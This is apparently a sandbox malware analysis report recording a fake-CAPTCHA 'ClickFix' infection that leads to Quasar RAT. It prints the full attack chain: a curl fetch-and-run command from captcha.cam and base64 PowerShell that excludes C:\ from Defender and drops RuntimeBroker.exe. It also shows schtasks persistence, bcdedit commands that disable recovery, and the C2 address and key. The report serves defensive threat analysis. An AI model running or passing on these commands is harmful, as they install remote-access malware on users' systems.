Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

30/12/2024, 03:24

241230-dyd5xswqbv 10

30/12/2024, 03:20

241230-dvvy9swpcy 10

Analysis

  • max time kernel
    292s
  • max time network
    294s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/12/2024, 03:24

Errors

Reason
Machine shutdown

General

  • Target

    http://medai.tv

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://captcha.cam/file.b64

Extracted

Family

quasar

Version

1.4.1

Botnet

28

C2

194.26.192.167:2768

Mutex

859d5f90-e2d0-4b2d-ba9f-5371df032ec2

Attributes
  • encryption_key

    BE2B0B270E4DB19CAA5C42E9D2EBF64645A2D055

  • install_name

    RuntimeBroker.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    RuntimeBroker

  • subdirectory

    RuntimeBroker

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 2 IoCs
  • Modifies boot configuration data using bcdedit 1 TTPs 7 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

    Using powershell.exe command.

  • A potential corporate email address has been identified in the URL: currency-file@1
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 20 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 6 IoCs
  • NTFS ADS 1 IoCs
  • Opens file in notepad (likely ransom note) 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 62 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 35 IoCs
  • Suspicious use of FindShellTrayWindow 44 IoCs
  • Suspicious use of SendNotifyMessage 38 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "http://medai.tv"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4312
    • C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url http://medai.tv
      2⤵
      • Checks processor information in registry
      • Modifies registry class
      • NTFS ADS
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3164
      • C:\Program Files\Mozilla Firefox\firefox.exe
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2024 -parentBuildID 20240401114208 -prefsHandle 1952 -prefMapHandle 1944 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {620725ce-d37a-4778-9e5c-ce3b2415d626} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" gpu
        3⤵
          PID:2348
        • C:\Program Files\Mozilla Firefox\firefox.exe
          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2464 -parentBuildID 20240401114208 -prefsHandle 2444 -prefMapHandle 2436 -prefsLen 24600 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6a496ff7-0aae-49e8-8fc0-c6305609457b} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" socket
          3⤵
          • Checks processor information in registry
          PID:4580
        • C:\Program Files\Mozilla Firefox\firefox.exe
          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3064 -childID 1 -isForBrowser -prefsHandle 3136 -prefMapHandle 2876 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {915828fe-d4d7-4d1c-bc42-e3e42f14a847} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
          3⤵
            PID:1060
          • C:\Program Files\Mozilla Firefox\firefox.exe
            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3836 -childID 2 -isForBrowser -prefsHandle 3816 -prefMapHandle 3812 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f14e08e4-0c11-4adc-8314-5c1600d61e91} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
            3⤵
              PID:4728
            • C:\Program Files\Mozilla Firefox\firefox.exe
              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4700 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4768 -prefMapHandle 4760 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9b485586-9cea-4978-b02d-bb59827b390b} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" utility
              3⤵
              • Checks processor information in registry
              PID:3464
            • C:\Program Files\Mozilla Firefox\firefox.exe
              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5448 -childID 3 -isForBrowser -prefsHandle 5440 -prefMapHandle 5436 -prefsLen 27178 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b138b95d-bab9-40a6-a376-ba82a321ca0d} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
              3⤵
                PID:988
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5176 -childID 4 -isForBrowser -prefsHandle 3196 -prefMapHandle 3192 -prefsLen 27178 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d2be3cfc-694d-4bb1-b9e1-36b2183dbd8b} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
                3⤵
                  PID:3316
                • C:\Program Files\Mozilla Firefox\firefox.exe
                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3068 -childID 5 -isForBrowser -prefsHandle 5112 -prefMapHandle 5160 -prefsLen 27178 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9c4f05d8-4e52-4d98-be2b-2afb6c0e885c} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
                  3⤵
                    PID:1400
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5772 -childID 6 -isForBrowser -prefsHandle 5764 -prefMapHandle 3192 -prefsLen 27178 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7c1a0e9f-683c-415b-94ca-23194187abda} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
                    3⤵
                      PID:2968
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6028 -childID 7 -isForBrowser -prefsHandle 5888 -prefMapHandle 5884 -prefsLen 27178 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0da9d7b8-9ed3-4fb8-b7a8-ab487d14501f} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
                      3⤵
                        PID:3600
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6892 -childID 8 -isForBrowser -prefsHandle 6884 -prefMapHandle 6880 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f4ab18e4-3933-4478-9c22-54e233e1cf01} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
                        3⤵
                          PID:1060
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7096 -parentBuildID 20240401114208 -prefsHandle 7108 -prefMapHandle 6852 -prefsLen 34727 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5d7eb136-0384-43da-868c-e4abe97c7748} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" rdd
                          3⤵
                            PID:5152
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5904 -childID 9 -isForBrowser -prefsHandle 6176 -prefMapHandle 6160 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7d2a67a6-e5ad-4f36-9656-15569ce273f8} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
                            3⤵
                              PID:5744
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7820 -childID 10 -isForBrowser -prefsHandle 7440 -prefMapHandle 7796 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b42621e9-22b6-4183-9ab9-c69107416d41} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
                              3⤵
                                PID:3612
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8356 -childID 11 -isForBrowser -prefsHandle 8352 -prefMapHandle 8340 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {eb728318-c5ab-4973-a84f-834645f0b042} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
                                3⤵
                                  PID:4036
                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8628 -childID 12 -isForBrowser -prefsHandle 8636 -prefMapHandle 8640 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6f0dcf3d-7f44-493c-9d4b-30b55e725b8e} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
                                  3⤵
                                    PID:2228
                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8880 -childID 13 -isForBrowser -prefsHandle 8888 -prefMapHandle 8896 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {dc67a5c4-7184-4f30-8a9f-05b19419caa6} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
                                    3⤵
                                      PID:5164
                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8352 -childID 14 -isForBrowser -prefsHandle 9152 -prefMapHandle 9148 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f8721d67-e7b7-4cb8-9988-4da717b8c197} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
                                      3⤵
                                        PID:5168
                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9316 -childID 15 -isForBrowser -prefsHandle 9328 -prefMapHandle 9268 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {da9f4cf7-9ebb-4a6c-8586-e5263881f1e8} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
                                        3⤵
                                          PID:5156
                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9588 -childID 16 -isForBrowser -prefsHandle 9580 -prefMapHandle 9576 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e5e8711d-1d75-45d8-941b-9c09e0baf1eb} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
                                          3⤵
                                            PID:5308
                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9048 -childID 17 -isForBrowser -prefsHandle 6112 -prefMapHandle 8452 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {50abcf16-a525-4c19-b3a0-b219561f7e17} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
                                            3⤵
                                              PID:5212
                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6112 -childID 18 -isForBrowser -prefsHandle 6172 -prefMapHandle 8332 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3c66c6a5-34e7-4a4d-b311-b2c778483ef8} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
                                              3⤵
                                                PID:4504
                                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8564 -childID 19 -isForBrowser -prefsHandle 6172 -prefMapHandle 6828 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e792425c-a400-4e7c-a9c7-84b394326976} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
                                                3⤵
                                                  PID:6420
                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5880 -childID 20 -isForBrowser -prefsHandle 8200 -prefMapHandle 7176 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0614e1e7-0dd3-4c76-9616-831dd0a4caa2} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
                                                  3⤵
                                                    PID:6640
                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8504 -childID 21 -isForBrowser -prefsHandle 5952 -prefMapHandle 5964 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3bb5977c-38ec-47d1-bcec-09659dc87d86} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
                                                    3⤵
                                                      PID:6824
                                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5952 -childID 22 -isForBrowser -prefsHandle 8752 -prefMapHandle 8756 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {84107c5d-1f81-469e-8a9f-fd7c266b162a} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
                                                      3⤵
                                                        PID:4812
                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8748 -childID 23 -isForBrowser -prefsHandle 5992 -prefMapHandle 8720 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ecb4f405-1d19-4e15-98f4-5cf420503e03} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
                                                        3⤵
                                                          PID:4036
                                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8956 -childID 24 -isForBrowser -prefsHandle 8936 -prefMapHandle 9576 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {28b43466-36db-46fe-bf0d-6d46f6b9c05f} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
                                                          3⤵
                                                            PID:5764
                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8616 -childID 25 -isForBrowser -prefsHandle 6896 -prefMapHandle 8652 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {59115419-6150-4a5b-ac80-16e4e3b78467} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
                                                            3⤵
                                                              PID:5724
                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10140 -childID 26 -isForBrowser -prefsHandle 10220 -prefMapHandle 10216 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b7b88662-c498-46e6-9cc1-e8a47d5a79c9} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
                                                              3⤵
                                                                PID:5664
                                                          • C:\Windows\system32\cmd.exe
                                                            "C:\Windows\system32\cmd.exe" /c "curl -k -L -Ss https://captcha.cam/t.cmd -o "C:\Users\Admin\AppData\Local\Temp\1.cmd" && "C:\Users\Admin\AppData\Local\Temp\1.cmd"" # Press OK or ENTER to complete verification. By pressing OK you confirm you are not a robot.
                                                            1⤵
                                                              PID:968
                                                              • C:\Windows\system32\curl.exe
                                                                curl -k -L -Ss https://captcha.cam/t.cmd -o "C:\Users\Admin\AppData\Local\Temp\1.cmd"
                                                                2⤵
                                                                  PID:5008
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell -w h -command ""
                                                                  2⤵
                                                                  • Command and Scripting Interpreter: PowerShell
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:3120
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell -Command "Start-Process -Verb RunAs -FilePath '"C:\Users\Admin\AppData\Local\Temp\1.cmd"' -ArgumentList 'am_admin'"
                                                                  2⤵
                                                                  • Command and Scripting Interpreter: PowerShell
                                                                  • Modifies registry class
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:1620
                                                                  • C:\Windows\System32\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\1.cmd" am_admin
                                                                    3⤵
                                                                      PID:3936
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell -w h -command ""
                                                                        4⤵
                                                                        • Command and Scripting Interpreter: PowerShell
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:3612
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell -enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBjAG8AbQBtAGEAbgBkACAAIgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAIgBDADoAXAANAAoA
                                                                        4⤵
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:5024
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath " C:\
                                                                          5⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:1468
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell -enc cgBlAGcAIABhAGQAZAAgACIASABLAEwATQBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAIgAgAC8AdgAgAEMAOgBcAA==
                                                                        4⤵
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:3896
                                                                        • C:\Windows\system32\reg.exe
                                                                          "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\
                                                                          5⤵
                                                                            PID:3588
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell -enc JAB1AHIAbAA9ACIAaAB0AHQAcABzADoALwAvAGMAYQBwAHQAYwBoAGEALgBjAGEAbQAvAGYAaQBsAGUALgBiADYANAAiADsAJABiADYANABGAGkAbABlAD0AIgAkAGUAbgB2ADoAVABlAG0AcABcAGYAaQBsAGUALgBiADYANAAiADsAJABlAHgAZQBGAGkAbABlAD0AIgAkAGUAbgB2ADoAVABlAG0AcABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdQByAGwAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGIANgA0AEYAaQBsAGUAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAZQB4AGUARgBpAGwAZQAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAGIANgA0AEYAaQBsAGUAIAAtAFIAYQB3ACkAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQB4AGUARgBpAGwAZQA=
                                                                          4⤵
                                                                          • Blocklisted process makes network request
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:380
                                                                          • C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"
                                                                            5⤵
                                                                            • Executes dropped EXE
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:3752
                                                                            • C:\Windows\system32\schtasks.exe
                                                                              "schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\RuntimeBroker\RuntimeBroker.exe" /rl HIGHEST /f
                                                                              6⤵
                                                                              • Scheduled Task/Job: Scheduled Task
                                                                              PID:3128
                                                                            • C:\Users\Admin\AppData\Roaming\RuntimeBroker\RuntimeBroker.exe
                                                                              "C:\Users\Admin\AppData\Roaming\RuntimeBroker\RuntimeBroker.exe"
                                                                              6⤵
                                                                              • Checks computer location settings
                                                                              • Executes dropped EXE
                                                                              • Suspicious behavior: GetForegroundWindowSpam
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:1576
                                                                              • C:\Windows\system32\schtasks.exe
                                                                                "schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\RuntimeBroker\RuntimeBroker.exe" /rl HIGHEST /f
                                                                                7⤵
                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                PID:3456
                                                                              • C:\Windows\system32\cmd.exe
                                                                                "cmd" /K CHCP 437
                                                                                7⤵
                                                                                • Checks computer location settings
                                                                                • Modifies registry class
                                                                                PID:5244
                                                                                • C:\Windows\system32\chcp.com
                                                                                  CHCP 437
                                                                                  8⤵
                                                                                    PID:5216
                                                                                  • C:\Windows\system32\NOTEPAD.EXE
                                                                                    "C:\Windows\system32\NOTEPAD.EXE" C:\vcredist2010_x64.log-MSI_vc_red.msi.txt
                                                                                    8⤵
                                                                                    • Opens file in notepad (likely ransom note)
                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                    PID:5424
                                                                                  • C:\Windows\system32\NOTEPAD.EXE
                                                                                    "C:\Windows\system32\NOTEPAD.EXE" C:\vcredist2010_x86.log-MSI_vc_red.msi.txt
                                                                                    8⤵
                                                                                    • Opens file in notepad (likely ransom note)
                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                    PID:5356
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  "cmd" /K CHCP 437
                                                                                  7⤵
                                                                                    PID:6980
                                                                                    • C:\Windows\system32\chcp.com
                                                                                      CHCP 437
                                                                                      8⤵
                                                                                        PID:5536
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        powershell
                                                                                        8⤵
                                                                                        • Drops file in System32 directory
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:2256
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      "cmd" /K CHCP 437
                                                                                      7⤵
                                                                                        PID:4628
                                                                                        • C:\Windows\system32\chcp.com
                                                                                          CHCP 437
                                                                                          8⤵
                                                                                            PID:3340
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            powershell
                                                                                            8⤵
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:1624
                                                                                            • C:\Windows\system32\bcdedit.exe
                                                                                              "C:\Windows\system32\bcdedit.exe" /set -encodedCommand ZABlAGYAYQB1AGwAdAA= recoveryenabled No -inputFormat xml -outputFormat text
                                                                                              9⤵
                                                                                              • Modifies boot configuration data using bcdedit
                                                                                              PID:868
                                                                                            • C:\Windows\system32\bcdedit.exe
                                                                                              "C:\Windows\system32\bcdedit.exe" /delete -encodedCommand ZABlAGYAYQB1AGwAdAA= /f -inputFormat xml -outputFormat text
                                                                                              9⤵
                                                                                              • Modifies boot configuration data using bcdedit
                                                                                              PID:4212
                                                                                            • C:\Windows\system32\bcdedit.exe
                                                                                              "C:\Windows\system32\bcdedit.exe" /enum
                                                                                              9⤵
                                                                                              • Modifies boot configuration data using bcdedit
                                                                                              PID:7032
                                                                                            • C:\Windows\system32\bcdedit.exe
                                                                                              "C:\Windows\system32\bcdedit.exe" /set -encodedCommand YwB1AHIAcgBlAG4AdAA= recoveryenabled No -inputFormat xml -outputFormat text
                                                                                              9⤵
                                                                                              • Modifies boot configuration data using bcdedit
                                                                                              PID:6188
                                                                                            • C:\Windows\system32\bcdedit.exe
                                                                                              "C:\Windows\system32\bcdedit.exe" /delete -encodedCommand YwB1AHIAcgBlAG4AdAA= /f -inputFormat xml -outputFormat text
                                                                                              9⤵
                                                                                              • Modifies boot configuration data using bcdedit
                                                                                              PID:6252
                                                                                            • C:\Windows\system32\bcdedit.exe
                                                                                              "C:\Windows\system32\bcdedit.exe" /set -encodedCommand YwB1AHIAcgBlAG4AdAA= recoveryenabled No -inputFormat xml -outputFormat text
                                                                                              9⤵
                                                                                              • Modifies boot configuration data using bcdedit
                                                                                              PID:6392
                                                                                            • C:\Windows\system32\bcdedit.exe
                                                                                              "C:\Windows\system32\bcdedit.exe" /delete -encodedCommand YwB1AHIAcgBlAG4AdAA= /f -inputFormat xml -outputFormat text
                                                                                              9⤵
                                                                                              • Modifies boot configuration data using bcdedit
